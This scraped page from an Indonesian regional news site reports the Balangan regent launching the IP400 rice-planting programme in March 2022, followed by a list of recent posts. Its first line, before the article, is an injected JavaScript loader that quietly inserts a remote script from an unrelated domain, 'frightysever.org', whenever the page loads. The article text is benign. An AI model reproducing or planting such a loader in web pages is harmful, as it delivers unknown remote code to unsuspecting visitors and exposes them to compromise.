(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Balangan

Bupati Balangan Canangkan Program IP400 demi Tingkatkan Produksi Padi


KANALKALIMANTAN.COM, PARINGIN – Bupati Balangan bersama Dinas Ketahanan Pangan, Pertanian dan Perikanan (DKP3) Balangan melakukan panen padi sekaligus mencanangkan kegiatan Indeks Pertanaman (IP) 400 di lahan pertanaman Desa Nungka, Awayan, Senin (21/3/2022).

Pada kegiatan ini, juga hadir unsur Forkopimda, Ketua TP PKK Sri Huriyati Hadi, dan jajaran Dinas Pertanian Provinsi Kalsel.

Bupati Balangan Abdul Hadi mengatakan, program IP400 adalah sebuah terobosan dan inovasi yang sangat strategis, serta patut didukung untuk menggenjot peningkatan produksi beras sekaligus memitigasi anomali iklim.

“Untuk konteks saat ini, peningkatan produksi sangat penting bagi bangsa kita dalam menghadapi tantangan pandemi COVID-19 maupun perubahan iklim. Kita tentu menginginkan persediaan pangan selalu siap dalam jumlah yang cukup meskipun dalam situasi yang sulit diprediksi,” ujar Abdul Hadi.

 

 

Baca juga: Jalin Silaturahmi Berkumpul Warga Mentaos

Sementara itu Kepala Dinas DKP3 Kabupaten Balangan, Tuhalus mengharapkan adanya pendampingan yang terus berlanjut dan konsisten untuk para koordinator BPTP serta para PPL yang ada di lapangan untuk pengembangan IP400.

“Pengembangan IP400 ini merupakan program Badan Litbang Pertanian, yang bertujuan untuk meningkatkan produksi padi. Program ini adalah suatu sistem pola tanam padi empat kali secara berturut-turut dalam satu siklus 12 bulan kalender,” terangnya.

Diakui Tuhalus, bahwa melakukan IP400 memang berat, karena dalam pelaksanaannya memang terdapat kendala dan menjadi pekerjaan besar bagi DKP3 Balangan.

“Kita tidak ingin lagi menambah luas lahan karena hal itu sudah menjadi permasalahan, sehingga salah satu caranya adalah meningkat IP yaitu dari IP100 hingga ke IP400. Dalam pelaksanaan memang terdapat kendala. Kami berharap, semua itu nantinya akan dikerjakan dengan mekanik, mulai dari menanam, pengolahan lahan dan panen harus dengan mekanik,” harap Tuhalus. (Kanalkalimantan.com/alfi)

Reporter: alfi
Editor: cell


Risa

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

7 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

8 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

9 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

9 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

10 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

15 jam ago

This website uses cookies.